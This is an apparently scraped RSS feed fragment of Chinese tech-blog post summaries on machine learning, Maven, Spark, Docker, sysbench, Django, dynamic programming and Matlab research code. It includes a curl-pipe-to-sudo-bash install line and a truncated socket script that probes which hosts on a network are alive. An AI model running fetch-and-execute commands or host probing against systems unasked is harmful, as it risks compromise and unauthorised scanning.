知识迁移：从一个任务或领域中学到的知识应用到另一个任务或领域中。技能迁移：从一个任务或领域中学到的技能应用到另一个任务或领域中。任务迁移：从一个任务中学到的经验应用到另一个任务中。基础迁移：从一个领域或知识体系中学到的基础知识应用到另一个领域或知识体系中。形式迁移：从一种形式、媒介或表达方式中学到的技能或知识应用到另一种形式、媒介或表达方式中。概念迁移：从一种概念或理论框架中学到的知识应用到另一种概念或理论框架中。语言迁移：从一种语言中学到的知识或技能转化到另一种语言中。环境迁移：从一个环境中学到的知识或技能应用到另一个环境中 3.2 按迁移方法分类： 数据分布自适应：通过一些变换，将不同的数据分布的距离拉近，包括边缘分布自适应、条件分布自适应、以及联合分布自适应。特征选择法：选择出源域和目标域共享的特征，即可依据这些特征构建模型。子空间学习法：假设源域和目标域数据在变换后的子空间中会有着相似的分布，包括基于统计特征变换的统计特征对齐方法，以及基于流形变换的流形学习方法。 3.3 按学习形式分类： 离线迁移学习 (Offline Transfer Learning)：源域和目标域均是给定的，迁移一次即可。在线迁移学习 (Online Transfer Learning)：数据的动态加入，迁移学习算法也可以不断地更新。 3.4 按目标域有无标签分类： 监督迁移学习：目标域数据有标签。半监督迁移学习：目标域数据中部分有标签。无监督迁移学习：目标域数据无标签。 3.5 按学习方法分类： 基于样本的迁移学习方法（权重重用）。基于特征的迁移学习方法（变换特征到表征一致的空间，或者使其相似）。基于模型的迁移学习方法（参数共享）。基于关系的迁移学习方法（挖掘和利用关系进行类比迁移，研究较少）。 3.6 按特征分类： 同构迁移学习：特征语义和维度都相同。异构迁移学习：特征语义和维度都不同，如图片到文本的迁移。 这些分类方式有助于我们理解和应用迁移学习的不同方面，从而在实际问题中选择合适的方法和技术。&#xA;四、迁移学习的应用场景 迁移学习的应用场景十分广泛，可以应用于自然语言处理、图像识别、推荐系统等多个领域。&#xA;在自然语言处理中，通过迁移学习，可以利用已经学习到的知识或技能更快地理解新的语言，从而更好地完成翻译或文本分类等任务。在图像识别中，迁移学习可以帮助我们利用已经学会的模型在新的领域中快速进行识别，例如将动物园中的物种识别模型应用到野外环境中。迁移学习也可以应用于推荐系统，将用户的历史行为信息进行迁移，从而更好地推荐相似的商品或服务。 此外，当拥有海量的数据资源时，机器学习系统可以很容易地从海量数据中学习到一个很稳健的模型，自然不需要迁移学习。然而，通常情况下，很少有人从头到尾训练一个深度卷积网络，原因可能是数据量问题、时间成本和计算资源的问题。在这种场景中，迁移学习就显示出了其巨大的价值。例如，假设有两个任务系统A和B，任务A拥有海量的数据资源且已经训练好，但任务B才是目标任务，这种场景便是典型的迁移学习的应用场景。&#xA;另外，基于迁移学习技术，互联网公司可以将旗下的视频、电商业务场景智能推荐知识迁移至广告、应用程序等其他产品的推荐业务中。一些电子产品的用户评价模型也可用于视频、游戏等产品的舆情分析中。这些案例都充分展示了迁移学习在实际应用中的巨大潜力和价值。&#xA;五、迁移学习的举例 让我们选择一个相对简单的场景：图像分类，并使用迁移学习来提高模型的性能。以下是一个使用Python和TensorFlow的代码片段，展示了如何使用预训练的模型（例如VGG16）进行迁移学习。&#xA;import tensorflow as tf from tensorflow.</description>
    </item>
    <item>
      <title>搜索算法和推荐算法、广告算法的区别</title>
      <link>https://bchobby.github.io/posts/51f2ef6669e6f9b9b727751c532294b7/</link>
      <pubDate>Fri, 29 Dec 2023 22:27:14 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/51f2ef6669e6f9b9b727751c532294b7/</guid>
      <description>广告和推荐算法的技术框架比较相似，在线计算时都分为召回（candidates generating）和排序（candidates ranking）两个阶段（这似乎是计算资源有限条件下，所有检索问题的通用架构）。&#xA;在某角度上可以把推荐系统理解成计算广告的一部分。不考虑品牌广告等其他广告形式，在我看来，计算广告和推荐系统的联系在于业务上的融合和技术上的重合。&#xA;搜推广要解决的问题区别：&#xA;回到根本问题上来，三个方向解决的问题本身是不一样的&#xA;广告：一个公司要搭建广告系统，它的商业目的非常直接，就是要解决公司的收入问题。所以广告算法的目标就是为了直接增加公司收入。&#xA;推荐：推荐算法虽然本质上也是为了增加公司收入，但其直接目标是为了增加用户的参与度。只有用户的参与度高了，才能让广告系统有更多的inventory，进而增加公司营收。&#xA;搜索：搜索要解决的关键问题全部是围绕着用户输入的搜索词展开的。虽然现在搜索越来越强调个性化的结果，但是一定要清楚的是，推荐算法强调的个性化永远只是搜索算法的补充。“围绕着搜索词的信息高效获取问题“才是搜索算法想解决的根本问题。&#xA;正是因为三者间要解决的根本问题是不同的，带来了三者算法层面的第一个区别，那就是优化目标的区别。&#xA;一、搜推广优化的目标区别 广告：广告算法的预估目标非常统一，就是预估CTR和CVR。这是跟当前效果类广告的产品形态密切相关的。因为CPC和CPA计价仍是效果类广告系统的主流计价方式。所以只有预估出CTR和CVR，才能反向推导出流量的价值，并进一步给出合理的出价。所以针对这样的目标，广告算法非常看重把预估偏差当作首要的评价指标。&#xA;因为广告的主要收入就是，在将商家的roi平衡的前提下，增加公司广告收入的优化目标，而广告收入是来源于商家的广告出价的，因此，提高预估的CTR和CVR，根据出价模式排列分布更合理的PV，才能为公司带来更多的收入。广告更关注估的更准，才能分散更准的流量。&#xA;推荐：推荐算法的预估目标就不尽相同，视频类更多倾向于预测观看时长，新闻类预测CTR，电商类预估客单价等等这些跟用户参与度最相关的业务指标。而且由于推荐系统的推荐场景是生成一个列表，所以更加关注item间的相对位置，因此评估阶段更倾向于用AUC，gAUC，MAP这些指标作为评价标准。&#xA;推荐更关注于用户的参与度，即如何抓住用户的兴趣，因此个性化比较重要。推荐更关注排的更好，提升用户兴趣。&#xA;搜索：搜索的预估目标又有所不同，因为相比广告和推荐，搜索某种意义上说是存在着“正确答案”的。所以搜索非常看重能否把这些正确答案给召回回来（广告和推荐也关注召回率，但重要性完全不同）。所以搜索系统往往会针对召回率，MAP，NDCG这些指标进行优化。&#xA;二、算法模型设计中的区别 广告：由于广告算法要预测“精准”的CTR和CVR，用于后续计算精确的出价，因此数值上的“精准”就是至关重要的要求，仅仅预估广告间的相对位置是无法满足要求的。这就催生了广告算法中对calibration方法的严苛要求，就算模型训练的过程中存在偏差，比如使用了负采样、weighted sampling等方式改变了数据原始分布，也要根据正确的后验概率在各个维度上矫正模型输出。此外，因为广告是很少以列表的形式连续呈现的，要对每一条广告的CTR，CVR都估的准，广告算法大都是point wise的训练方式。&#xA;推荐：推荐算法的结果往往以列表的形式呈现，因此不用估的那么准，而是要更多照顾一个列表整体上，甚至一段时间内的内容多样性上对于用户的“吸引力”，让用户的参与度更高。因此现在很多头部公司在算法设计时，不仅要考虑当前推荐的item的吸引力，甚至会有一些list level，page level的算法去衡量整体的效果进行优化。也正因为这一点，推荐算法有大量不同的训练方式，除了point-wise，还有pair-wise，list-wise等等。此外为了增加用户的长期参与度，还对推荐内容的多样性，新鲜度有更高的要求，这就让探索与利用，强化学习等一些列方法在推荐场景下更受重视。&#xA;搜索：对于搜索算法，我们还是要再次强调搜索词的关键性，以及对搜索词的理解。正因为这样，搜索词与其他特征组成的交叉特征，组合特征，以及模型中的交叉部分是异常重要的。对于一些特定场景，比如搜索引擎，我们一定程度上要抑制个性化的需求，更多把质量和权威性放在更重要的位置。&#xA;三、搜推广辅助策略上的区别 广告系统中，CTR等算法只是其中关键的一步，估的准CTR只是一个前提，如何让广告系统盈利，产生更多收入，还需要pacing，bidding，budget control，ads allocation等多个同样重要的模块协同作用，才能让平台利益最大化，这显然是比推荐系统复杂的。&#xA;推荐系统中，由于需要更多照顾用户的长期兴趣，需要一些补充策略做出一些看似“非最优”的选择，比如探索性的尝试一些长尾内容，在生成整个推荐列表时要加入多样性的约束，等等。这一点上，广告系统也需要，但远没有推荐系统的重视程度高。&#xA;搜索系统中，大量辅助算法还是要聚焦在对搜索词和内容的理解上。因此搜索系统往往是应用NLP模型最重的地方，因为需要对大量内容进行预处理，embedding化，进而生成更理解用户语义的结果。比如最典型的例子就是airbnb对搜索词embedding化后，输入滑雪skiing，会返回更多滑雪胜地的地点，而不是仅仅是字面上的匹配。&#xA;四、模型本身的选择上 在广告模型中，用户的兴趣是不那么连贯的，因此容易造成sequential model的失效，attention机制可能会更加重要一些。&#xA;推荐模型中，如果不抓住用户兴趣的连续变化，是很难做好推荐模型的，因此利用sequential model来模拟用户兴趣变化往往是有收益的。&#xA;搜索模型中，搜索词和item之间天然是一个双塔结构，因此在模型构建的时候各种交叉特征，模型中的各种交叉结构往往是搜索类模型的重点。当然，在构建良好的交叉特征之后，使用传统的LTR，GBDT等模型也往往能够取得不错的结果。</description>
    </item>
    <item>
      <title>Maven环境的配置</title>
      <link>https://bchobby.github.io/posts/12cfb6b7157d85f0a4832084eed4eb4e/</link>
      <pubDate>Fri, 29 Dec 2023 22:25:52 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/12cfb6b7157d85f0a4832084eed4eb4e/</guid>
      <description> 推荐阅读 轻松驾驭JDBC：一篇文章帮你搞定数据库连接&#xA;ChatGPT爆火一周年，快来拥有专属你的ChatGPT应用！&#xA;文章目录 推荐阅读安装测试配置仓库 安装 第一步检查电脑环境&#xA;首先先检查jdk是否安装&#xA;第二步下载maven&#xA;官网：https://maven.apache.org/download.cgi&#xA;下载完成后，解压到一个空的文件夹最好（文件路径中最好不要有中文，不然之后可能会出现啥玄学问题）&#xA;第三步配置maven&#xA;打开电脑系统属性，配置maven的环境变量。&#xA;在系统变量下点击新建，变量名输入%MAVEN_HOME%,变量值为maven的安装目录，确定即可。&#xA;将该变量新建到系统Path路径下，新建变量，填入%MAVEN_HOME%\bin即可。&#xA;测试 win+R 输入cmd 输入 mvn -v&#xA;得到下面页面即成功了。&#xA;配置仓库 打开maven安装目录\conf\setting.xml，在localRepository标签下添加自己的仓库地址。&#xA;添加阿里云配置下载jar包&#xA;可以添加阿里云的镜像到maven的setting.xml配置。完成后即可。&#xA;&amp;lt;mirror&amp;gt; &amp;lt;id&amp;gt;nexus-aliyun&amp;lt;/id&amp;gt; &amp;lt;mirrorOf&amp;gt;central&amp;lt;/mirrorOf&amp;gt; &amp;lt;name&amp;gt;Nexus aliyun&amp;lt;/name&amp;gt; &amp;lt;url&amp;gt;http://maven.aliyun.com/nexus/content/groups/public&amp;lt;/url&amp;gt; &amp;lt;/mirror&amp;gt; </description>
    </item>
    <item>
      <title>SparkStreaming_window_sparksql_reids</title>
      <link>https://bchobby.github.io/posts/a58b8b474de6f2a9022066dbe4fa0688/</link>
      <pubDate>Fri, 29 Dec 2023 22:16:20 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/a58b8b474de6f2a9022066dbe4fa0688/</guid>
      <description>1.5 window 滚动窗口+滑动窗口&#xA;window操作就是窗口函数。Spark Streaming提供了滑动窗口操作的支持，从而让我们可以对一个滑动窗口内的数据执行计算操作。每次掉落在窗口内的RDD的数据，会被聚合起来执行计算操作，然后生成的RDD，会作为window DStream的一个RDD。比如下图中，就是对每三秒钟的数据执行一次滑动窗口计算，这3秒内的3个RDD会被聚合起来进行处理，然后过了两秒钟，又会对最近三秒内的数据执行滑动窗口计算。所以每个滑动窗口操作，都必须指定两个参数，窗口长度以及滑动间隔，而且这两个参数值都必须是batch间隔的整数倍。 红色的矩形就是一个窗口，窗口hold的是一段时间内的数据流。&#xA;这里面每一个time都是时间单元，在官方的例子中，每隔window size是3 time unit, 而且每隔2个单位时间，窗口会slide一次。&#xA;所以基于窗口的操作，需要指定2个参数：&#xA;window length - The duration of the window (3 in the figure)&#xA;slide interval - The interval at which the window-based operation is performed (2 in the figure).&#xA;窗口大小，个人感觉是一段时间内数据的容器。&#xA;滑动间隔，就是我们可以理解的cron表达式吧。&#xA;案例实现&#xA;package com.qianfeng.sparkstreaming ​ import org.apache.spark.SparkConf import org.apache.spark.streaming.dstream.DStream import org.apache.spark.streaming.{Seconds, StreamingContext} ​ /** * 统计，截止到目前为止出现的每一个key的次数 * window窗口操作，每个多长M时间,通过过往N长时间内产生的数据 * M就是滑动长度sliding interval * N就是窗口长度window length */ object Demo05_WCWithWindow { def main(args: Array[String]): Unit = { val conf = new SparkConf() .</description>
    </item>
    <item>
      <title>Docker 数据持久化的三种方式</title>
      <link>https://bchobby.github.io/posts/a8fe2d9adee32c248d0068b1160033cf/</link>
      <pubDate>Fri, 29 Dec 2023 22:13:31 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/a8fe2d9adee32c248d0068b1160033cf/</guid>
      <description>-v ${local_path}:${docker_path} Docker提供了三种不同的方式将数据从宿主机挂载到容器中：volume、bind mounts、tmpfs mounts&#xA;volume：Docker管理宿主机文件系统的一部分（/var/lib/docker/volumes）&#xA;bind mounts：可以存储在宿主机系统的任意位置&#xA;tmpfs mounts：挂载存储在宿主机的内存中，不会写入宿主机的文件系统&#xA;volume&#xA;oot@prometheus204:~# docker volume create for_nginx for_nginx root@prometheus204:~# docker volume ls DRIVER VOLUME NAME local 18ac2738fb4027ebd0c3a4ba0bc6fafdce8d0376ef3df43707a357c2ca321cba local docker-prometheus_grafana_data local docker-prometheus_prometheus_data local for_nginx root@prometheus204:~# docker run --name munginx -d -p 80:80 --mount type=volume,source=for_nginx,target=/usr/share/nginx/html nginx:1.23.3 61545a6faf3e4884bb14c6d7d268ac9d104f4ef7a250d434c65399fee03cf990 root@prometheus204:~# cd /var/lib/docker/volumes/for_nginx/ root@prometheus204:/var/lib/docker/volumes/for_nginx# ls _data root@prometheus204:/var/lib/docker/volumes/for_nginx# cd _data/ root@prometheus204:/var/lib/docker/volumes/for_nginx/_data# ls 50x.html index.html root@prometheus204:/var/lib/docker/volumes/for_nginx/_data# echo hello,123 &amp;gt; index.html root@prometheus204:/var/lib/docker/volumes/for_nginx/_data# # 访问nginx 显示 hello，123 bind mounts（绑定数据卷）</description>
    </item>
    <item>
      <title>数据库压力测试方法小结</title>
      <link>https://bchobby.github.io/posts/0994bdc14b118073336ed8f6bba3f3d5/</link>
      <pubDate>Fri, 29 Dec 2023 22:07:51 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/0994bdc14b118073336ed8f6bba3f3d5/</guid>
      <description>1前言&#xA;在前面的压力测试过程中，主要关注的是对接口以及服务器硬件性能进行压力测试，评估请求接口和硬件性能对服务的影响。但是对于多数Web应用来说，整个系统的瓶颈在于数据库。&#xA;原因很简单：Web应用中的其他因素，例如网络带宽、负载均衡节点、应用服务器（包括CPU、内存、硬盘、连接数等）、缓存，都很容易通过水平的扩展（俗称加机器）来实现性能的提高。而对于MySQL，由于数据一致性的要求，无法通过增加机器来分散向数据库写数据带来的压力；虽然可以通过前置缓存（Redis等）、读写分离、分库分表来减轻压力，但是与系统其它组件的水平扩展相比，受到了太多的限制&#xA;2常见的数据库压测指标&#xA;与接口压测指标类似，数据库相关指标如下：&#xA;TPS/QPS：衡量吞吐量。&#xA;响应时间：包括平均响应时间、最小响应时间、最大响应时间、时间百分比等，其中时间百分比参考意义较大，如前95%的请求的最大响应时间。。&#xA;并发量：同时处理的查询请求的数量。&#xA;3使用sybench进行数据库压测&#xA;1、基本介绍&#xA;sysbench是跨平台的基准测试工具，支持多线程，支持多种数据库；主要包括以下几种测试：&#xA;cpu性能&#xA;磁盘io性能&#xA;调度程序性能&#xA;内存分配及传输速度&#xA;POSIX线程性能&#xA;数据库性能(OLTP基准测试)&#xA;该工具可以自动帮你在数据库里构造出来大量的数据，你想要多少数据，就自动给你构造出来多少条数据。同时还可以模拟几千个线程并发的访问数据库，模拟使用各种各样的 SQL 语句，包括模拟出来各种事务提交到你的数据库里去，甚至可以模拟出几十万的 TPS 去压测数据库。&#xA;2、安装sysbench：&#xA;curl -s https://packagecloud.io/install/repositories/akopytov/sysbench/script.rpm.sh | sudo bash&#xA;sudo yum -y install sysbench&#xA;sysbench --version&#xA;3、基于 sysbench 构造测试表和测试数据：&#xA;首先需要在自己的数据库里创建好一个测试库，我们可以取个名字叫做 test，同时创建好对应的测试账号，可以叫做 root，密码是 123456，让这个用户有权限可以访问 test。&#xA;基于 sysbench 构建 20 个测试表，每个表里有 100 万条数据，接着使用 100 个并发线程去对这个数据库发起访问，连续访问 5 分钟，也就是 300 秒。命令如下：&#xA;sysbench --db-driver=mysql --time=300 --threads=100 --report-interval=1 -- mysql-host=127.0.0.1 --mysql-port=3306 --mysql-user=root --mysql- password=123456 --mysql-db=test --tables=20 -- table_size=1000000 oltp_read_write --db-ps-mode=disable prepare 4、执行测试：</description>
    </item>
    <item>
      <title>Django(四)</title>
      <link>https://bchobby.github.io/posts/42059b3242339c0ba1074e5ee9beab71/</link>
      <pubDate>Fri, 29 Dec 2023 21:37:42 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/42059b3242339c0ba1074e5ee9beab71/</guid>
      <description>1.数据库操作 MySQL数据库 + pymysql import pymysql # 1.连接MySQL conn = pymysql.connect(host=&#34;127.0.0.1&#34;, port=3306, user=&#39;root&#39;, passwd=&#34;root123&#34;, charset=&#39;utf8&#39;, db=&#39;unicom&#39;) cursor = conn.cursor(cursor=pymysql.cursors.DictCursor) # 2.发送指令 cursor.execute(&#34;insert into admin(username,password,mobile) values(&#39;wupeiqi&#39;,&#39;qwe123&#39;,&#39;15155555555&#39;)&#34;) conn.commit() # 3.关闭 cursor.close() conn.close() Django开发操作数据库更简单，内部提供了ORM框架。&#xA;1.1 安装第三方模块 pip install mysqlclient 1.2 ORM 创建、修改、删除数据库中的表（不用你写SQL语句）。 【无法创建数据库】操作表中的数据（不用写SQL语句）。 1.2.1 自己创建数据库 启动MySQL服务自带工具创建数据库 create database gx_day15 DEFAULT CHARSET utf8 COLLATE utf8_general_ci; 1.2.2 django连接数据库 在settings.py文件中进行配置和修改&#xA;DATABASES = { &#39;default&#39;: { &#39;ENGINE&#39;: &#39;django.db.backends.mysql&#39;, &#39;NAME&#39;: &#39;gx_day15&#39;, # 数据库名字 &#39;USER&#39;: &#39;root&#39;, &#39;PASSWORD&#39;: &#39;root123&#39;, &#39;HOST&#39;: &#39;127.</description>
    </item>
    <item>
      <title>【九】【C语言\动态规划】139. 单词拆分（LeetCode）、467. 环绕字符串中唯一的子字符串（LeetCode）、300. 最长递增子序列（LeetCode），三道题目深度解析</title>
      <link>https://bchobby.github.io/posts/596027c22da4ff05f1c1221d60217c37/</link>
      <pubDate>Fri, 29 Dec 2023 21:08:44 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/596027c22da4ff05f1c1221d60217c37/</guid>
      <description>动态规划 动态规划就像是解决问题的一种策略，它可以帮助我们更高效地找到问题的解决方案。这个策略的核心思想就是将问题分解为一系列的小问题，并将每个小问题的解保存起来。这样，当我们需要解决原始问题的时候，我们就可以直接利用已经计算好的小问题的解，而不需要重复计算。&#xA;动态规划与数学归纳法思想上十分相似。&#xA;数学归纳法：&#xA;基础步骤（base case）：首先证明命题在最小的基础情况下成立。通常这是一个较简单的情况，可以直接验证命题是否成立。&#xA;归纳步骤（inductive step）：假设命题在某个情况下成立，然后证明在下一个情况下也成立。这个证明可以通过推理推断出结论或使用一些已知的规律来得到。&#xA;通过反复迭代归纳步骤，我们可以推导出命题在所有情况下成立的结论。&#xA;动态规划：&#xA;状态表示：&#xA;状态转移方程：&#xA;初始化：&#xA;填表顺序：&#xA;返回值：&#xA;数学归纳法的基础步骤相当于动态规划中初始化步骤。&#xA;数学归纳法的归纳步骤相当于动态规划中推导状态转移方程。&#xA;动态规划的思想和数学归纳法思想类似。&#xA;在动态规划中，首先得到状态在最小的基础情况下的值，然后通过状态转移方程，得到下一个状态的值，反复迭代，最终得到我们期望的状态下的值。&#xA;接下来我们通过三道例题，深入理解动态规划思想，以及实现动态规划的具体步骤。&#xA;139. 单词拆分 - 力扣（LeetCode）（C++实现） 题目解析 状态表示 状态表示通常由经验+题目要求得到。&#xA;经验一般是指，以某个位置为结尾或者以某个位置为开始。&#xA;我们很容易可以定义这样一个状态表示，定义dp[i]表示，s字符串中，下标0到下标i这段字符串，是否可以进行单词划分。&#xA;状态转移方程 根据状态表示，dp[i]表示，s字符串中，下标0到下标i这段字符串，是否可以进行单词划分。&#xA;dp[i-1]表示，s字符串中，下标0到下标i-1这段字符串，是否可以进行单词划分。&#xA;我们思考如果dp[i]为true，应该如何得到。&#xA;如果（j，i）表示一个单词，这个单词能够在wordDirt中被找到，且（0，j-1）可以进行单词划分，则表示（0，i）可以进行单词划分。&#xA;根据这个思路，我们可以将（0，i）部分划分为两个部分，&#xA;（0，j-1）子串&#xA;（j，i）子串&#xA;如果（j，i）能够在wordDirt中被找到，dp[i]=dp[j-1]。&#xA;因此我们填写dp[i]需要让j遍历（0，i）。&#xA;故，当我们在从 0 ~ i 枚举 j 的时候，只要 dp[j - 1] = true ，&#xA;并且后面部分的子串 s.substr(j, i - j + 1) 能够在字典中找到，那么 dp[i] = true 。&#xA;我们判断（j，i）单词是否可以被找到时，可以用hash表进行优化，将wordDirt中所有的单词都存放在hash表中，当我们需要判断（j，i）单词是否可以被找到的时候，只需要访问hash表即可。&#xA;unordered_set&amp;lt;string&amp;gt; hash; for (auto&amp;amp; s : wordDict) hash.</description>
    </item>
    <item>
      <title>【具有离散信号的可重构智能表面(RIS)辅助通信系统中】通过截断速率优化RIS辅助MIMO系统研究(Matlab代码实现)</title>
      <link>https://bchobby.github.io/posts/714a899788710915d11a18e6300726a0/</link>
      <pubDate>Fri, 29 Dec 2023 20:46:12 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/714a899788710915d11a18e6300726a0/</guid>
      <description>💥💥💞💞欢迎来到本博客❤️❤️💥💥&#xA;🏆博主优势：🌞🌞🌞博客内容尽量做到思维缜密，逻辑清晰，为了方便读者。&#xA;⛳️座右铭：行百里者，半于九十。&#xA;📋📋📋本文目录如下：🎁🎁🎁&#xA;目录&#xA;💥1 概述&#xA;📚2 运行结果&#xA;🎉3 参考文献&#xA;🌈4 Matlab代码及文章下载&#xA;💥1 概述 摘要：在具有离散信号的可重构智能表面（RIS）辅助通信系统中，优化互信息（MI）的主要困难在于无法以分析可处理的方式来表述这一优化问题。因此，我们建议使用截断速率（CR）作为更易处理的度量来优化MI，并引入两种优化方法来最大化CR，假设对信道状态信息（CSI）具有完美的了解。第一种方法基于投影梯度法（PGM），而第二种方法源自于连续凸逼近原理（SCA）。模拟结果表明，所提出的优化方法显著提高了CR和相应的MI。&#xA;最近开发的可重构智能表面（RIS）具有塑造和控制无线网络中的无线电波传播的潜力，使其成为未来5G以后通信系统的有前途的候选者。RIS由大量小型、低成本和几乎被动的元素组成，每个元素都可以通过可调相移反射入射信号，从而改变散射波的波前[1]。改变反射信号的波前使我们能够塑造无线电波通过信道的传播方式，从而改善可实现的速率等关键系统性能指标。这一领域的主要研究工作集中在单用户[2]和多用户[3]多输入单输出（MISO）通信系统的可实现速率优化上。另一个重要的研究方向是针对装备有RIS的多输入多输出（MIMO）系统的可实现速率优化，包括单用户[4]、[5]和多用户[6]、[7]通信。在上述论文中，传输符号按照圆对称复高斯分布进行分布，这是一种容量实现分布。然而，在实践中，传输符号通常是从离散信号星座中选择的，因此目前的解决方案无法用于在实际RIS辅助通信系统中建立可实现数据速率的现实界限。&#xA;📚2 运行结果 可视化代码：&#xA;diagnotics = optimize(abs(mytheta_variable)&amp;lt;=1,obj,solversettings);&#xA;if(diagnotics.problem==0)&#xA;mytheta = value(mytheta_variable);&#xA;end&#xA;objSCA(iSCA+1) = 2*double(obj)+Ns;&#xA;objSCA_MI(iSCA+1) = computeMI((Hdirt + H2t*diag(mytheta)*H1t)*P*x,N0);&#xA;end&#xA;plot(1:length(objSCA),-log2(objSCA/Ns^2),&#39;r&#39;,&#39;DisplayName&#39;,&#39;$R_0$, SCA&#39;);&#xA;hold on plot(1:length(objSCA_MI),objSCA_MI,&#39;r--&#39;,&#39;DisplayName&#39;,&#39;MI, SCA&#39;);&#xA;xlabel(&#39;Iteration&#39;); ylabel(&#39;Cut-off rate / MI [bpcu]&#39;);&#xA;legend(&#39;show&#39;,&#39;Location&#39;,&#39;SouthEast&#39;,&#39;Interpreter&#39;,&#39;latex&#39;);&#xA;部分代码：&#xA;no_mat = 1; % number of channel realizations&#xA;K = 1; % Rician K factor f = 2000e6; % frequency</description>
    </item>
    <item>
      <title>无人机启用的无线传感器网络中的节能数据收集（Matlab代码实现）</title>
      <link>https://bchobby.github.io/posts/afc592e15e93e8e3b8b940b3e841f67b/</link>
      <pubDate>Fri, 29 Dec 2023 20:44:19 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/afc592e15e93e8e3b8b940b3e841f67b/</guid>
      <description>💥💥💞💞欢迎来到本博客❤️❤️💥💥&#xA;🏆博主优势：🌞🌞🌞博客内容尽量做到思维缜密，逻辑清晰，为了方便读者。&#xA;⛳️座右铭：行百里者，半于九十&#xA;📋📋📋本文目录如下：🎁🎁🎁&#xA;目录&#xA;💥1 概述&#xA;📚2 运行结果&#xA;🎉3 参考文献&#xA;🌈4 Matlab代码、数据、文章&#xA;💥1 概述 文献来源：&#xA;摘要：&#xA;在无线传感器网络中，利用无人机（UAV）作为传感器节点（SNs）的移动数据收集器是一种节能的技术，可以延长网络的寿命。在本文中，考虑了传感器节点和无人机之间的一般衰落信道模型，我们联合优化传感器节点的唤醒时间表和无人机的轨迹，以最小化所有传感器节点的最大能量消耗，同时确保可靠地从每个传感器节点收集所需数量的数据。我们将我们的设计建模为一个混合整数非凸优化问题。通过应用逐步凸优化技术，提出了一种高效的迭代算法，用于找到一个次优解。数值结果表明，与基准方案相比，所提出的方案实现了显著的网络节能。&#xA;无线传感器网络（WSNs）通常由大量成本低廉的传感器节点（SNs）组成，这些节点通常由电池等有限能源供电，一旦耗尽就很难充电[1]。因此，对于传感器节点而言，节能的感知和通信技术对于延长WSNs的寿命至关重要。最近在利用无人机（UAV）作为WSN中地面传感器节点的移动数据收集器方面引起了越来越多的兴趣[2]。通过利用其高度的移动性，无人机能够高效地从传感器节点收集数据，因为它可以依次访问传感器节点，并且只有当它移动到足够靠近每个传感器节点时才从它们那里收集数据。因此，每个活跃传感器节点到无人机的链路距离显著缩短，这节省了所有传感器节点的传输能量。已经表明，无人机和地面终端之间的短距离的直射（LoS）通信链路可以通过适当设计无人机的轨迹在各种无人机启用的无线网络中有效利用，以提高性能[3]–​[5]。对于无人机启用的WSNs，睡眠和唤醒机制是另一种有用的技术，可节省传感器节点的能量消耗[6]。&#xA;对于无人机（UAV）启用的无线传感器网络（WSNs），睡眠和唤醒机制是另一种有用的技术，可用于节省传感节点（SNs）的能耗[6]。通过这种机制，传感节点在未收到来自附近无人机的良好信号强度的唤醒信标之前会保持睡眠状态，一旦收到信标，它们将唤醒并开始向无人机发送数据，传输完成后又返回睡眠状态。在设计用于数据收集的无人机启用的无线传感器网络时，存在两个关键问题。第一个问题是由于传感节点的有限电池能量。因此，传感节点的唤醒计划应该得到适当设计，以便每个传感节点在最小能耗下完成数据传输。第二个问题是由于传感节点和移动无人机之间的高度动态的无线信道，这些信道容易出现数据包丢失[7]，特别是在实际情况下，当存在多径引起的信道衰落时。因此，无人机的轨迹应该得到适当设计，以确保每个传感节点在唤醒状态时能够以较低的中断概率传输数据。详细讲解见第4部分。&#xA;📚2 运行结果 部分代码：&#xA;clear all&#xA;close all&#xA;addpath(&#39;./src&#39;)&#xA;global u q0 qF&#xA;istrain = 0&#xA;if istrain == 1&#xA;%% Optimization&#xA;Q = {};&#xA;X = {};&#xA;Theta = {};&#xA;Lo = {};&#xA;for T = [40 50 100]&#xA;disp([&#39;T =&#39; num2str(T) &#39;, start&#39;])&#xA;[q, x, th, lo]= solveP1(&#39;T&#39;, T,&#39;Sk&#39;,10*(10^6),&#39;epsilon&#39;,10^-2); disp([&#39;T =&#39; num2str(T) &#39;, end&#39;])</description>
    </item>
    <item>
      <title>一个实用的Wrapper类，解决mfc使用sqlite3时的中文乱码问题</title>
      <link>https://bchobby.github.io/posts/832b837e9d96ade49f8bedc0ce168c03/</link>
      <pubDate>Fri, 29 Dec 2023 20:09:59 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/832b837e9d96ade49f8bedc0ce168c03/</guid>
      <description>给大伙介绍一个实用的Wrapper类，面向对象，接口清晰，使用方便，再也不怕中文乱码问题了！&#xA;An Easy to Use Wrapper for SQLite3 (Totally Free Embedded Database Engine!) - CodeProject</description>
    </item>
    <item>
      <title>很实用的ChatGPT网站——httpchat-zh.com</title>
      <link>https://bchobby.github.io/posts/aeca43a0dfd19348c0a64b2191485c91/</link>
      <pubDate>Fri, 29 Dec 2023 19:58:40 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/aeca43a0dfd19348c0a64b2191485c91/</guid>
      <description>很实用的ChatGPT网站——http://chat-zh.com/ 今天介绍一个好兄弟开发的ChatGPT网站，网址[http://chat-zh.com/]。这个网站功能模块很多，包含生活、美食、学习、医疗、法律、经济等很多方面。下面简单介绍一些部分功能与大家一起分享。&#xA;登录和注册页面 主页面 1. 左侧功能区 ChatGPT问答 示例：我儿子的婚礼邀请函，如下图所示。&#xA;GPT4高清绘图 示例：编程、读书、咖啡、书房，AI生成的图片如下所示。&#xA;MJ高清绘图 示例：fruits dropping in water, AI生成的图片如下所示。&#xA;2. 右侧功能区 全能问答助手 示例问题：怎样学好爬虫？ 给出的答案如下图所示。&#xA;办公自动化助手 示例问题：word批量修改文字，AI给出答案如下图所示。&#xA;爆款文书 如图所示&#xA;表格生成 如图所示&#xA;功能模块很多，不挨个推荐了。我重点推荐一下编程学习辅助模块。&#xA;编程学习辅助 示例问题：用python语言编写一段查询域内存活的主机。&#xA;AI给出代码如下：&#xA;import socket def check_host(ip, port): try: # 创建一个socket对象 sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) # 设置连接超时时间为1秒 sock.settimeout(1) # 尝试连接主机 result = sock.connect_ex((ip, port)) # 如果返回0，则表示主机存活 if result == 0: print(f&#34;Host 